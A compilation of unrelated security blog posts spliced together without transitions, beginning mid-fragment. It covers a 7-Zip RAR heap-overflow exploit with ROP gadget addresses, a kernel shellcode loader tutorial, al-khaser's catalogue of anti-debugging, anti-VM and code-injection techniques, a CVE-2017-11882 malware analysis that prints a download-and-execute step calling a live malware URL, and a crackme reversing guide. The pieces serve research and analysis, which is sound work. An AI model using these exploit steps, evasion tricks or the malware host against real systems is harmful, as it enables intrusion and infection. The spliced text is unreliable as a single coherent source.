if (item.IgnoreItem()) { continue; }
bool needAdd = true;
// some more code omitted
_items.Add(item);

}
``````

The class `CItem` has a member variable `Name` of type `AString`, which stores the (ASCII) name of the corresponding item in a heap-allocated buffer.

Unfortunately, the name of an item is set as follows in NArchive::NRar::CInArchive::ReadName1:

``````for (i = 0; i < nameSize && p[i] != 0; i++) {}
item.Name.SetFrom((const char *)p, i);
``````

I say unfortunately, because this means that we cannot write completely arbitrary bytes to the buffer. In particular, it seems that we cannot write null bytes. This is bad, because the replacement object we want to put on the heap requires a few zero bytes. So what can we do? Well, let us look at AString::SetFrom4:

``````void AString::SetFrom(const char *s, unsigned len)
{
if (len > _limit)
{
char *newBuf = new char[len + 1];
delete []_chars;
_chars = newBuf;
_limit = len;
}
if (len != 0)
memcpy(_chars, s, len);
_chars[len] = 0;
_len = len;
}
``````

Okay, so this method will always terminate the string with a null byte. Moreover, we see that `AString`keeps the same underlying buffer, unless it is too small to hold the desired string. This gives rise to the following idea: Assume we want to write the hex-bytes `DEAD00BEEF00BAAD00` to some heap-allocated buffer. Then we will just have an archive with items that have the following names (in the listed order):

1. `DEAD55BEEF55BAAD`
2. `DEAD55BEEF`
3. `DEAD`

Basically, we let the method `SetFrom` write all null bytes we need. Note that we have replaced all null bytes in our data with some arbitrary non-zero byte (`0x55` in this example), ensuring that the full string is written to the buffer.

This works reasonably well, and we can use this to write arbitrary sequences of bytes, with two small limitations. First, we have to end our sequence with a null byte. Second, we cannot have too many null bytes in our byte sequence, because this will cause a quadratic blow-up of the archive size. Luckily, we can easily work with those restrictions in our specific case.

Finally, note that we can make essentially two types of allocations:

• Allocations with items such that `item.IgnoreItem()==true`. Those items will not be added to the list `_items`, and are hence only temporary. These allocations have the property that they will be freed eventually, and they can (using the above technique) be filled with almost arbitrary sequences of bytes. Since these allocations are all made via the same stack-allocated object `item` and hence use the same `AString` object, the allocation sizes of this type need to be strictly increasing in their size. We will use this allocation type mainly to put the replacement object on the heap.
• Allocations with items such that `item.IgnoreItem()==false`. Those items will be added to the list `_items`, causing a copy of the corresponding name. This is useful in particular to cause many pending allocations of certain sizes in order to activate LFH. Note that the copied string cannot contain any null bytes, which is fine for our purposes.

Combining the outlined methods carefully, we can construct an archive that implements the heap allocation strategy from the previous section.

### ROP

We leverage the lack of ASLR on the main executable `7zG.exe` to bypass DEP with a ROP chain. 7-Zip never calls `VirtualProtect`, so we read the addresses of `VirtualAlloc``memcpy`, and `exit` from the Import Address Table to write the following ROP chain:

``````// pivot stack: xchg rax, rsp;
exec_buffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec_buffer, rsp+shellcode_offset, 0x1000);
jmp exec_buffer;
exit(0);
``````

Since we are running on x86_64 (where most instructions have a longer encoding than in x86) and the binary is not very large, for some of the operations we want to execute there are no neat gadgets. This is not really a problem, but it makes the ROP chain somewhat ugly. For example, in order to set the register `R9` to `PAGE_EXECUTE_READWRITE` before calling `VirtualAlloc`, we use the following chain of gadgets:

``````0x40691e, #pop rcx; add eax, 0xfc08500; xchg eax, ebp; ret;
PAGE_EXECUTE_READWRITE, #value that is popped into rcx
0x401f52, #xor eax, eax; ret; (setting ZF=1 for cmove)
0x4193ad, #cmove r9, rcx; imul rax, rdx; xor edx, edx; imul rax, rax, 0xf4240; div r8; xor edx, edx; div r9; ret; ``````

### Demo

The following demo video briefly presents the exploit running on a freshly installed and fully updated Windows 10 RS4 (Build 17134.1) 64-bit with 7-Zip 18.01 x64. As mentioned above, the targeted exploitation scenario is extraction via the context menu `7-Zip->Extract Here` and `7-Zip->Extract to subfolder`.

### On Reliability

After some fine-tuning of the auxiliary heap allocation sizes, the exploit seems to work very reliably.

In order to obtain more information on reliability, I wrote a small script that repeatedly calls the binary `7zG.exe` the same way it would be called when extracting the crafted archive via the context menu. Moreover, the script checks that `calc.exe` is actually started and the process `7zG.exe` exits with code 0. Running the script on different Windows operating systems (all fully updated), the results are as follows:

• Windows 10 RS4 (Build 17134.1) 64-bit: the exploit failed5 17 out of 100 000 times.
• Windows 8.1 64-bit: the exploit failed 12 out of 100 000 times.
• Windows 7 SP1 64-bit: the exploit failed 90 out of 100 000 times.

Note that across all operating systems, the very same crafted archive is used. This works well, presumably because most changes between the Windows 7 and Windows 10 heap implementation affect the Low Fragmentation Heap, whereas the rest has not changed too much. Moreover, the LFH is still triggered for the same number of pending allocations.

Admittedly, it is not really possible to determine the reliability of an exploit empirically. Still, I believe this to be better than “I ran it a few times, and it seems to be reliable”.

## Conclusion

In my opinion, this bug is a consequence of the design (partially) inherited from UnRAR. If a class depends on its clients to use it correctly in order to prevent usage of uninitialized class members, you are doomed for failure.

We have seen how this (at first glance) innocent looking bug can be turned into a reliable weaponized code execution exploit. Due to the lack of ASLR on the main executables, the only difficult part of the exploit was to carry out the heap massaging within the restricted context of RAR extraction.

Fortunately, the new 7-Zip 18.05 not only resolves the bug, but also comes with enabled ASLR on all the main executables.

## Timeline of Disclosure

• 2018-03-06 — Discovery
• 2018-03-06 — Report
• 2018-04-14 — MITRE assigned CVE-2018-10115
• 2018-04-30 — 7-Zip 18.05 released, fixing CVE-2018-10115 and enabling ASLR on the executables.

## Loading Kernel Shellcode

In the wake of recent hacking tool dumps, the FLARE team saw a spike in malware samples detonating kernel shellcode. Although most samples can be analyzed statically, the FLARE team sometimes debugs these samples to confirm specific functionality. Debugging can be an efficient way to get around packing or obfuscation and quickly identify the structures, system routines, and processes that a kernel shellcode sample is accessing.

This post begins a series centered on kernel software analysis, and introduces a tool that uses a custom Windows kernel driver to load and execute Windows kernel shellcode. I’ll walk through a brief case study of some kernel shellcode, how to load shellcode with FLARE’s kernel shellcode loader, how to build your own copy, and how it works.

As always, only analyze malware in a safe environment such as a VM; never use tools such as a kernel shellcode loader on any system that you rely on to get your work done.

#### A Tale of Square Pegs and Round Holes

Depending upon how a shellcode sample is encountered, the analyst may not know whether it is meant to target user space or kernel space. A common triage step is to load the sample in a shellcode loader and debug it in user space. With kernel shellcode, this can have unexpected results such as the access violation in Figure 1.

Figure 1: Access violation from shellcode dereferencing null pointer

The kernel environment is a world apart from user mode: various registers take on different meanings and point to totally different structures. For instance, while the gs segment register in 64-bit Windows user mode points to the Thread Information Block (TIB) whose size is only 0x38 bytes, in kernel mode it points to the Processor Control Region (KPCR) which is much larger. In Figure 1 at address 0x2e07d9, the shellcode is attempting to access the IdtBase member of the KPCR, but because it is running in user mode, the value at offset 0x38 from the gs segment is null. This causes the next instruction to attempt to access invalid memory in the NULL page. What the code is trying to do doesn’t make sense in the user mode environment, and it has crashed as a result.

In contrast, kernel mode is a perfect fit. Figure 2 shows WinDbg’s dt command being used to display the _KPCR type defined within ntoskrnl.pdb, highlighting the field at offset 0x38 named IdtBase.

Figure 2: KPCR structure

Given the rest of the code in this sample, accessing the IdtBase field of the KPCR made perfect sense. Determining that this was kernel shellcode allowed me to quickly resolve the rest of my questions, but to confirm my findings, I wrote a kernel shellcode loader. Here’s what it looks like to use this tool to load a small, do-nothing piece of shellcode.

#### Using FLARE’s Kernel Shellcode Loader

I booted a target system with a kernel debugger and opened an administrative command prompt in the directory where I copied the shellcode loader (kscldr.exe). The shellcode loader expects to receive the name of the file on disk where the shellcode is located as its only argument. Figure 3 shows an example where I’ve used a hex editor to write the opcodes for the NOP (0x90) and RET (0xC3) instructions into a binary file and invoked kscldr.exe to pass that code to the kernel shellcode loader driver. I created my file using the Windows port of xxd that comes with Vim for Windows.

Figure 3: Using kscldr.exe to load kernel shellcode

The shellcode loader prompts with a security warning. After clicking yes, kscldr.exe installs its driver and uses it to execute the shellcode. The system is frozen at this point because the kernel driver has already issued its breakpoint and the kernel debugger is awaiting commands. Figure 4 shows WinDbg hitting the breakpoint and displaying the corresponding source code for kscldr.sys.

Figure 4: Breaking in kscldr.sys

From the breakpoint, I use WinDbg with source-level debugging to step and trace into the shellcode buffer. Figure 5 shows WinDbg’s disassembly of the buffer after doing this.

Figure 5: Tracing into and disassembling the shellcode

The disassembly shows the 0x90 and 0xc3 opcodes from before, demonstrating that the shellcode buffer is indeed being executed. From here, the powerful facilities of WinDbg are available to debug and analyze the code’s behavior.

#### Building It Yourself

To try out FLARE’s kernel shellcode loader for yourself, you’ll need to download the source code.

To get started building it, download and install the Windows Driver Kit (WDK). I’m using Windows Driver Kit Version 7.1.0, which is command line driven, whereas more modern versions of the WDK integrate with Visual Studio. If you feel comfortable using a newer kit, you’re welcomed to do so, but beware, you’ll have to take matters into your own hands regarding build commands and dependencies. Since WDK 7.1.0 is adequate for purposes of this tool, that is the version I will describe in this post.

Once you have downloaded and installed the WDK, browse to the Windows Driver Kits directory in the start menu on your development system and select the appropriate environment. Figure 6 shows the WDK program group on a Windows 7 system. The term “checked build” indicates that debugging checks will be included. I plan to load 64-bit kernel shellcode, and I like having Windows catch my mistakes early, so I’m using the x64 Checked Build Environment.

Figure 6: Windows Driver Kits program group

In the WDK command prompt, change to the directory where you downloaded the FLARE kernel shellcode loader and type ez.cmd. The script will cause prompts to appear asking you to supply and use a password for a test signing certificate. Once the build completes, visit the bin directory and copy kscldr.exe to your debug target. Before you can commence using your custom copy of this tool, you’ll need to follow just a few more steps to prepare the target system to allow it.

#### Preparing the Debug Target

To debug kernel shellcode, I wrote a Windows software-only driver that loads and runs shellcode at privilege level 0. Normally, Windows only loads drivers that are signed with a special cross-certificate, but Windows allows you to enable testsigning to load drivers signed with a test certificate. We can create this test certificate for free, and it won’t allow the driver to be loaded on production systems, which is ideal.

In addition to enabling testsigning mode, it is necessary to enable kernel debugging to be able to really follow what is happening after the kernel shellcode gains execution. Starting with Windows Vista, we can enable both testsigning and kernel debugging by issuing the following two commands in an administrative command prompt followed by a reboot:

 bcdedit.exe /set testsigning on bcdedit.exe /set debug on

For debugging in a VM, I install VirtualKD, but you can also follow your virtualization vendor’s directions for connecting a serial port to a named pipe or other mechanism that WinDbg understands. Once that is set up and tested, we’re ready to go!

If you try the shellcode loader and get a blue screen indicating stop code 0x3B (SYSTEM_SERVICE_EXCEPTION), then you likely did not successfully connect the kernel debugger beforehand. Remember that the driver issues a software interrupt to give control to the debugger immediately before executing the shellcode; if the debugger is not successfully attached, Windows will blue screen. If this was the case, reboot and try again, this time first confirming that the debugger is in control by clicking Debug -> Break in WinDbg. Once you know you have control, you can issue the g command to let execution continue (you may need to disable driver load notifications to get it to finish the boot process without further intervention: sxd ld).

#### How It Works

The user-space application (kscldr.exe) copies the driver from a PE-COFF resource to the disk and registers it as a Windows kernel service. The driver implements device write and I/O control routines to allow interaction from the user application. Its driver entry point first registers dispatch routines to handle CreateFile, WriteFile, DeviceIoControl, and CloseHandle. It then creates a device named \Device\kscldr and a symbolic link making the device name accessible from user-space. When the user application opens the device file and invokes WriteFile, the driver calls ExAllocatePoolWithTag specifying a PoolType of NonPagedPool (which is executable), and writes the buffer to the newly allocated memory. After the write operation, the user application can call DeviceIoControl to call into the shellcode. In response, the driver sets the appropriate flags on the device object, issues a breakpoint to pass control to the kernel debugger, and finally calls the shellcode as if it were a function.

#### While You’re Here

Driver development opens the door to unique instrumentation opportunities. For example, Figure 7 shows a few kernel callback routines described in the WDK help files that can track system-wide process, thread, and DLL activity.

Figure 7: WDK kernel-mode driver architecture reference

Kernel development is a deep subject that entails a great deal of study, but the WDK also comes with dozens upon dozens of sample drivers that illustrate correct Windows kernel programming techniques. This is a treasure trove of Windows internals information, security research topics, and instrumentation possibilities. If you have time, take a look around before you get back to work.

#### Wrap-Up

We’ve shared FLARE’s tool for loading privileged shellcode in test environments so that we can dynamically analyze kernel shellcode. We hope this provides a straightforward way to quickly triage kernel shellcode if it ever appears in your environment. Download the source code now.

## Introduction

al-khaser is a PoC «malware» application with good intentions that aims to stress your anti-malware system. It performs a bunch of common malware tricks with the goal of seeing if you stay under the radar.

## Download

You can download the latest release here.

## Possible uses

• You are making an anti-debug plugin and you want to check its effectiveness.
• You want to ensure that your sandbox solution is hidden enough.
• Or you want to ensure that your malware analysis environment is well hidden.

Please, if you encounter any of the anti-analysis tricks which you have seen in a malware, don’t hesitate to contribute.

## Features

### Anti-debugging attacks

• IsDebuggerPresent
• CheckRemoteDebuggerPresent
• Process Environement Block (BeingDebugged)
• Process Environement Block (NtGlobalFlag)
• ProcessHeap (Flags)
• ProcessHeap (ForceFlags)
• NtQueryInformationProcess (ProcessDebugPort)
• NtQueryInformationProcess (ProcessDebugFlags)
• NtQueryInformationProcess (ProcessDebugObject)
• NtSetInformationThread (HideThreadFromDebugger)
• NtQueryObject (ObjectTypeInformation)
• NtQueryObject (ObjectAllTypesInformation)
• CloseHanlde (NtClose) Invalide Handle
• SetHandleInformation (Protected Handle)
• UnhandledExceptionFilter
• OutputDebugString (GetLastError())
• Hardware Breakpoints (SEH / GetThreadContext)
• Software Breakpoints (INT3 / 0xCC)
• Memory Breakpoints (PAGE_GUARD)
• Interrupt 0x2d
• Interrupt 1
• Parent Process (Explorer.exe)
• SeDebugPrivilege (Csrss.exe)
• NtYieldExecution / SwitchToThread
• TLS callbacks
• Process jobs
• Memory write watching

### Anti-Dumping

• Erase PE header from memory
• SizeOfImage

### Timing Attacks [Anti-Sandbox]

• RDTSC (with CPUID to force a VM Exit)
• RDTSC (Locky version with GetProcessHeap & CloseHandle)
• Sleep -> SleepEx -> NtDelayExecution
• Sleep (in a loop a small delay)
• Sleep and check if time was accelerated (GetTickCount)
• SetTimer (Standard Windows Timers)
• timeSetEvent (Multimedia Timers)
• WaitForSingleObject -> WaitForSingleObjectEx -> NtWaitForSingleObject
• WaitForMultipleObjects -> WaitForMultipleObjectsEx -> NtWaitForMultipleObjects (todo)
• IcmpSendEcho (CCleaner Malware)
• CreateWaitableTimer (todo)
• CreateTimerQueueTimer (todo)
• Big crypto loops (todo)

### Human Interaction / Generic [Anti-Sandbox]

• Mouse movement
• Total Physical memory (GlobalMemoryStatusEx)
• Disk size using DeviceIoControl (IOCTL_DISK_GET_LENGTH_INFO)
• Disk size using GetDiskFreeSpaceEx (TotalNumberOfBytes)
• Mouse (Single click / Double click) (todo)
• DialogBox (todo)
• Scrolling (todo)
• Execution after reboot (todo)
• Count of processors (Win32/Tinba — Win32/Dyre)
• Sandbox known product IDs (todo)
• Color of background pixel (todo)
• Keyboard layout (Win32/Banload) (todo)

### Anti-Virtualization / Full-System Emulation

• Registry key value artifacts
• HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VBOX)
• HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (QEMU)
• HARDWARE\Description\System (SystemBiosVersion) (VBOX)
• HARDWARE\Description\System (SystemBiosVersion) (QEMU)
• HARDWARE\Description\System (VideoBiosVersion) (VIRTUALBOX)
• HARDWARE\Description\System (SystemBiosDate) (06/23/99)
• HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
• HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
• HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
• SYSTEM\ControlSet001\Control\SystemInformation (SystemManufacturer) (VMWARE)
• SYSTEM\ControlSet001\Control\SystemInformation (SystemProductName) (VMWARE)
• Registry Keys artifacts
• HARDWARE\ACPI\DSDT\VBOX__ (VBOX)
• HARDWARE\ACPI\FADT\VBOX__ (VBOX)
• HARDWARE\ACPI\RSDT\VBOX__ (VBOX)
• SOFTWARE\Oracle\VirtualBox Guest Additions (VBOX)
• SYSTEM\ControlSet001\Services\VBoxGuest (VBOX)
• SYSTEM\ControlSet001\Services\VBoxMouse (VBOX)
• SYSTEM\ControlSet001\Services\VBoxService (VBOX)
• SYSTEM\ControlSet001\Services\VBoxSF (VBOX)
• SYSTEM\ControlSet001\Services\VBoxVideo (VBOX)
• SOFTWARE\VMware, Inc.\VMware Tools (VMWARE)
• SOFTWARE\Wine (WINE)
• SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters (HYPER-V)
• File system artifacts
• «system32\drivers\VBoxMouse.sys»
• «system32\drivers\VBoxGuest.sys»
• «system32\drivers\VBoxSF.sys»
• «system32\drivers\VBoxVideo.sys»
• «system32\vboxdisp.dll»
• «system32\vboxhook.dll»
• «system32\vboxmrxnp.dll»
• «system32\vboxogl.dll»
• «system32\vboxoglarrayspu.dll»
• «system32\vboxoglcrutil.dll»
• «system32\vboxoglerrorspu.dll»
• «system32\vboxoglfeedbackspu.dll»
• «system32\vboxoglpackspu.dll»
• «system32\vboxoglpassthroughspu.dll»
• «system32\vboxservice.exe»
• «system32\vboxtray.exe»
• «system32\VBoxControl.exe»
• «system32\drivers\vmmouse.sys»
• «system32\drivers\vmhgfs.sys»
• «system32\drivers\vm3dmp.sys»
• «system32\drivers\vmci.sys»
• «system32\drivers\vmhgfs.sys»
• «system32\drivers\vmmemctl.sys»
• «system32\drivers\vmmouse.sys»
• «system32\drivers\vmrawdsk.sys»
• «system32\drivers\vmusbmouse.sys»
• Directories artifacts
• «%PROGRAMFILES%\oracle\virtualbox guest additions\»
• «%PROGRAMFILES%\VMWare\»
• Memory artifacts
• Interupt Descriptor Table (IDT) location
• Local Descriptor Table (LDT) location
• Global Descriptor Table (GDT) location
• Task state segment trick with STR
• MAC Address
• «\x08\x00\x27» (VBOX)
• «\x00\x05\x69» (VMWARE)
• «\x00\x0C\x29» (VMWARE)
• «\x00\x1C\x14» (VMWARE)
• «\x00\x50\x56» (VMWARE)
• «\x00\x1C\x42» (Parallels)
• «\x00\x16\x3E» (Xen)
• Virtual devices
• «\\.\VBoxMiniRdrDN»
• «\\.\VBoxGuest»
• «\\.\pipe\VBoxMiniRdDN»
• «\\.\VBoxTrayIPC»
• «\\.\pipe\VBoxTrayIPC»)
• «\\.\HGFS»
• «\\.\vmci»
• Hardware Device information
• SetupAPI SetupDiEnumDeviceInfo (GUID_DEVCLASS_DISKDRIVE)
• QEMU
• VMWare
• VBOX
• VIRTUAL HD
• System Firmware Tables
• SMBIOS string checks (VirtualBox)
• SMBIOS string checks (VMWare)
• SMBIOS string checks (Qemu)
• ACPI string checks (VirtualBox)
• ACPI string checks (VMWare)
• ACPI string checks (Qemu)
• Driver Services
• VirtualBox
• VMWare
• Adapter name
• VMWare
• Windows Class
• VBoxTrayToolWndClass
• VBoxTrayToolWnd
• Network shares
• VirtualBox Shared Folders
• Processes
• vboxservice.exe (VBOX)
• vboxtray.exe (VBOX)
• vmtoolsd.exe(VMWARE)
• vmwaretray.exe(VMWARE)
• vmwareuser(VMWARE)
• VGAuthService.exe (VMWARE)
• vmacthlp.exe (VMWARE)
• vmsrvc.exe(VirtualPC)
• vmusrvc.exe(VirtualPC)
• prl_cc.exe(Parallels)
• prl_tools.exe(Parallels)
• xenservice.exe(Citrix Xen)
• qemu-ga.exe (QEMU)
• WMI
• SELECT * FROM Win32_Bios (SerialNumber) (GENERIC)
• SELECT * FROM Win32_PnPEntity (DeviceId) (VBOX)
• SELECT * FROM Win32_NetworkAdapterConfiguration (MACAddress) (VBOX)
• SELECT * FROM Win32_NTEventlogFile (VBOX)
• SELECT * FROM Win32_Processor (NumberOfCores) (GENERIC)
• SELECT * FROM Win32_LogicalDisk (Size) (GENERIC)
• SELECT * FROM Win32_Computer (Model and Manufacturer) (GENERIC)
• SELECT * FROM MSAcpi_ThermalZoneTemperature CurrentTemperature) (GENERIC)
• DLL Exports and Loaded DLLs
• avghookx.dll (AVG)
• avghooka.dll (AVG)
• snxhk.dll (Avast)
• kernel32.dll!wine_get_unix_file_nameWine (Wine)
• sbiedll.dll (Sandboxie)
• dbghelp.dll (MS debugging support routines)
• api_log.dll (iDefense Labs)
• dir_watch.dll (iDefense Labs)
• pstorec.dll (SunBelt Sandbox)
• vmcheck.dll (Virtual PC)
• wpespy.dll (WPE Pro)
• CPU
• Hypervisor presence using (EAX=0x1)
• Hypervisor vendor using (EAX=0x40000000)
• «KVMKVMKVM\0\0\0» (KVM)
• «Microsoft Hv»(Microsoft Hyper-V or Windows Virtual PC)
• «VMwareVMware»(VMware)
• «XenVMMXenVMM»(Xen)
• «prl hyperv «( Parallels) -«VBoxVBoxVBox»( VirtualBox)

### Anti-Analysis

• Processes
• OllyDBG / ImmunityDebugger / WinDbg / IDA Pro
• SysInternals Suite Tools (Process Explorer / Process Monitor / Regmon / Filemon, TCPView, Autoruns)
• Wireshark / Dumpcap
• ProcessHacker / SysAnalyzer / HookExplorer / SysInspector
• ImportREC / PETools / LordPE
• JoeBox Sandbox

### Macro malware attacks

• Document_Close / Auto_Close.
• Application.RecentFiles.Count

### Code/DLL Injections techniques

• CreateRemoteThread
• SetWindowsHooksEx
• NtCreateThreadEx
• RtlCreateUserThread
• APC (QueueUserAPC / NtQueueApcThread)
• RunPE (GetThreadContext / SetThreadContext)

## CVE-2017–11882 RTF — Full description

Two weeks ago a malicious MS Word document was blocked from a sandbox (SHA 256 — 1aca3bcf3f303624b8d7bcf7ba7ce284cf06b0ca304782180b6b9b973f4ffdd7).The sample looked interesting because by that time, VirusTotal had a limited detection rate. Both VirusTotal and Any.Run identified the sample as CVE-2017–11882, one of the infamous Equation Editor exploits. Let’s take a look.

### Looking for an OLE

RTF is a quite complex structure by it self. On top of that, adversaries add additional obfuscation layers to prevent both analysts and various analysis tools to detect the malicious objects.

Firing up oletools/rtfobj and Didier’s rtdump, looking for OLE objects did not result to anything useful.

You can find a list about RTF obfuscation in the links below:

Unfortunately those didn’t help to find an OLE object, so we just looked for “d0cf” (OLE Compound header identifier) where one instance came up

### Analyzing the OLE

Apparently this OLE object has a CLSID of “0002ce02–0000–0000-c000–000000000046” which indicates that the OLE object is related to Equation Editor and to the exploit itself. Additionally one OLE Native Stream was identified (instead of an Equation Native stream).

How OLE Native Stream is related? Cofense has posted a relevant article.

The OLENativeStream is an OLE2.0 stream object contained within an OLE Compound File Storage (MS-CFB) object and contains only one header field, a 4-byte NativeDataSize field

### Return to stack

The native stream is 0x795 (1945)bytes long. After that offset the actual content follows. One can guess, that the next 4 bytes, starting from 02 AB 01 E7 are related to Equation Editor MTEF header (given that no Equation Native Stream exists). You can find a good analysis of MTEF here. The header consists of 5 bytes, where the first one should be 0x03. Apparently the MTEF header does not play an important role (Or not?). In addition, there are two extra bytes (0xA, 0x1) which do not map on the MTEF specification. If anyone knows how to interpret those bytes please illuminate me.

The most important part is the Font Record which have an ID of 0x8 and two one byte identifiers, one for typeface number an one for style (0x9D and 0x7C respectively). Following this byte sequence, the actual font name follows. Font name is stored in a buffer of 40 bytes length; 8 more are needed in order to overwrite the return address, which in our case is 0x00402157. This address belongs to a ret instruction in EQNEDT32.exe

It is well known, that this specific exploit is a stack-based buffer overflow. Our bet is that after the ret instruction, the execution returns to our shellcode. Let’s fire up Windbg.

Prior to the ret instruction the last element in stack is our shellcode (0x0018f354). After the ret command this value will be popped to eip. We can see in the disassembly windows that we have a very clean shellcode.

### Analyzing the shellcode

In order to analyze the shellcode I used shellcode2exe and fired IDA. The first call is the 0x004667b0 which is the import address of GlobalLock function call in EQNEDT32.exe which locks our shellcode in memory.

Following a sequence of jmp instructions, we end up in a xor decryption loop. The xor decryption takes place in 0x3FE offset for 0x389 length. In order to help us with the decryption, a small IDA Python script was created (forgive any Python mistakes, Python n00b here). The script can be executed by selecting the desired offset and typing run() in console line in IDA.

```from binascii import hexlify
import struct
import ctypes
from ctypes import *
def run():
startPos = 0x4013fe
xored = 0
index = 0
for index in range (startPos,startPos + 0x389, 4):
xored = xored * 0x22A76047
xored = xored + 0x2698B12D
for i in range (0,4):
patched_byte = ord(struct.pack('<I',c_uint(xored).value)[i]) ^ Byte(index+i)
PatchByte(index+i, patched_byte)

```

After the execution of the script, a URL appeared, therefore something good happened to us.

In the decryption loop the is a call in sub_40147e which before the decryption was meaningless, as the jmp destination was out of range.

However the same function, after the decryption is totally different. You can observe a lot of dynamic call instructions, which one can bet that they are function pointers resolved by GetProcAddress

In order not to make the post huge and being lazy enough to continue static analysis, Windbg came into the scene. Apparently what the shellcode does, can be summarized in the following steps:

• ExpandEnvironmentStringsW(“%APPDATA%\wwindowss.exe”,dst_path)
• URLDownloadToFileW(“ http://reggiewaller.com/404/ac/ppre.exe”,dst_path)
• CreateProcessW(“C:\Users\vmuser\AppData\Roaming\wwindowss.exe”)
• ExitProcess

That’s all folks! This post and any following ones are simply a notepad, which document some basic analysis steps. Any comments or corrections are more than welcome.

In the above we presented an analysis of a malicious RTF detected by a sandbox. The RTF was exploiting the CVE-2017–11882. We tried to analyze the RTF, extracted the shellcode and analyzed it. The shellcode is a plain download & execute shellcode.

## Reverse Engineering x64 for Beginners – Linux

As to get started, we will be writing a simple C++ program which will prompt for a password. It will check if the password matches, if it does, it will prompt its correct, else will prompt its incorrect. The main reason I took up this example is because this will give you an idea of how the jump, if else and other similar conditions work in assembly language. Another reason for this is that most programs which have hardcoded keys in them can be cracked in a similar manner except with a bit of more mathematics, and this is how most piracy distributors crack the legit softwares and spread the keys.

Let’s first understand the C++ program that we have written. All of the code will be hosted in my Github profile :-

https://github.com/paranoidninja/ScriptDotSh-Reverse-Engineering

The code is pretty simple here. Our program takes one argument as an input which is basically the password. If I don’t enter any password, it will print the help command. If I specify a password, it gets stored as a char with 10 bytes and will send the password to the check_pass() function. Our hardcoded password is PASSWORD1 in the check_pass() function. Out here, our password get’s compared with the actual password variable mypass with the strcmp() function. If the password matches, it returns Zero, else it will return One. Back to our main function, if we receive One, it prints incorrect password, else it prints correct password.

Now, let’s get this code in our GDB debugger. We will execute the binary with GDB and we will first setup a breakpoint on main before we send the argument. Secondly, we will enable time travelling on our GDB, so that if we somehow go one step ahead by mistake, we can reverse that and come one step back again. This can be done with the following command: target record-full and reverse-stepi/nexti

Dont’ be scared if you don’t understand any of this. Just focus on the gdb\$ part and as you can see above, I have given an incorrect password as pass123 after giving the breakpoint with break main. My compiled code should print an incorrect password as seen previously, but as we proceed, we will find two ways to bypass the code; one is by getting out the actual password from memory and second is by modifying the jump value and printing that the password is correct.

# Disassembly

The next step is to disassemble the entire code and try to understand what actually is happening:

Our main point of intereset in the whole disassembled code would be the below few things:

1. je – je means jump to an address if its equal to something. If unequal, continue with the flow.

2. call – calls a new function. Remember that after this is loaded, the disassembled code will change from the main disassembly function to the new function’s disassembly code.

3. test – check if two values are equal

4. cmp – compare two values with each other

4. jne – jne means jump to and address if its not equal to something. Else, continue with the flow.

Some people might question why do we have test if we have cmp which does the same thing. The answer can be found here which is explained beautifully:-

https://stackoverflow.com/questions/39556649/linux-assembly-whats-difference-between-test-eax-eax-and-cmp-eax-0

So, if we see the disassembly code above, we know that if we run the binary without a password or argument, it will print help, else will proceed to check the password. So this cmp should be the part where it checks whether we have an arguement. If an arguement doesn’t exist it will continue with the printing of help, else it will jump to <main+70>. If you see that numbers next to the addresses on the left hand side, we can see that at <+70>, we are moving something into the rax register. So, what we will do is we will setup a breakpoint at je, by specifying its address 0x0000000000400972 and then will see if it jumps to <+70> by asking it to continue with c. GDB command c will continue running the binary till it hits another breakpoint.

And now if you do a stepi which is step iteration, it will step one iteration of execution and it should take you to <+70> where it moves a Quad Word into the rax register.

So, since our logic is correct till now, let’s move on to the next interesting thing that we see, which is the call part. And if you see next to it, it says something like <_Z10check_passPc> which is nothing but our check_pass() function. Let’s jump to that using stepi and see what’s inside that function.

Once, you jump into the check_pass() function and disassemble it, you will see a new set of disassembled code which is the code of just the check_pass() function itself. And here, there are four interesting lines of assembly code here:

The first part is where the value of rdx register is moved to rsi and rax is moved to rdi. The next part is strcmp() function is called which is a string compare function of C++. Next, we have the test which compares the two values, and if the values are equal, we jump (je) to <_Z10check_passPc+77> which will move the value Zero in the eax register. If the values are not equal, the function will continue to proceed at <+70> and move the value One in the eax register. Now, these are nothing but just the return values that we specified in the check_pass() function previously. Since we have entered an invalid password, the return value which will be sent would be One. But if we can modify the return value to Zero, it would print out as “Correct Password”.

Also, we can go ahead and check what is being moved into the rsi and the rdi register. So, let’s put a breakpoint there and jump straight right to it.

As you can see from the above image, I used x/s \$rdx and x/s \$rax commands to get the values from the register. x/s means examine the register and display it as a string. If you want to get it in bytes you can specify x/b or if you want characters, you can specify x/c and so on. There are multiple variations however. Now our first part of getting the password is over here. However, let’s continue and see how we can modify the return value at <_Z10check_passPc+70> to Zero. So, we will shoot stepi and jump to that iteration.

# Epilogue

As you can see above, the function moved 0x1 to eax in the binary, but before it can do a je, we modified the value to 0x0 in eax using set \$eax = 0x0 and then continued the function with c as below, and Voila!!! We have a value returned as Correct Password!

Learning assembly isn’t really something as a rocket science. But given a proper amount of time, it does become understandable and easy with experience.

This was just a simple example to get you started in assembly and reverse engineering. Now as we go deeper, we will see socket functions, runtime encryption, encoded hidden domain names and so on. This whole process can be done using x64dbg in Windows as well which I will show in my next blogpost.

## Reverse Engineering x64 for Beginners – Windows

In this post, I will be using x64dbg since I wasn’t able to find a version of x64 Immunity debugger or Olly Debugger to reverse engineer the binary. However, below are alternatives along with the download links which you can choose. If you are able to find other x64 debuggers for windows, do add them in the comment and I will mention them here.:

Immunity Debugger is an awesome tool if you are debugging x86 binaries. However, since we are only focusing on x64, we will have to use x64dbg which supports both x86 and x64 disassembly.

Once you have downloaded the required debugger, you can compile the source code which is uploaded on my Git repo here. You can compile the binary in Windows with the below command:

\$ g++ crack_me.cpp -o crack_mex64.exe -static -m64

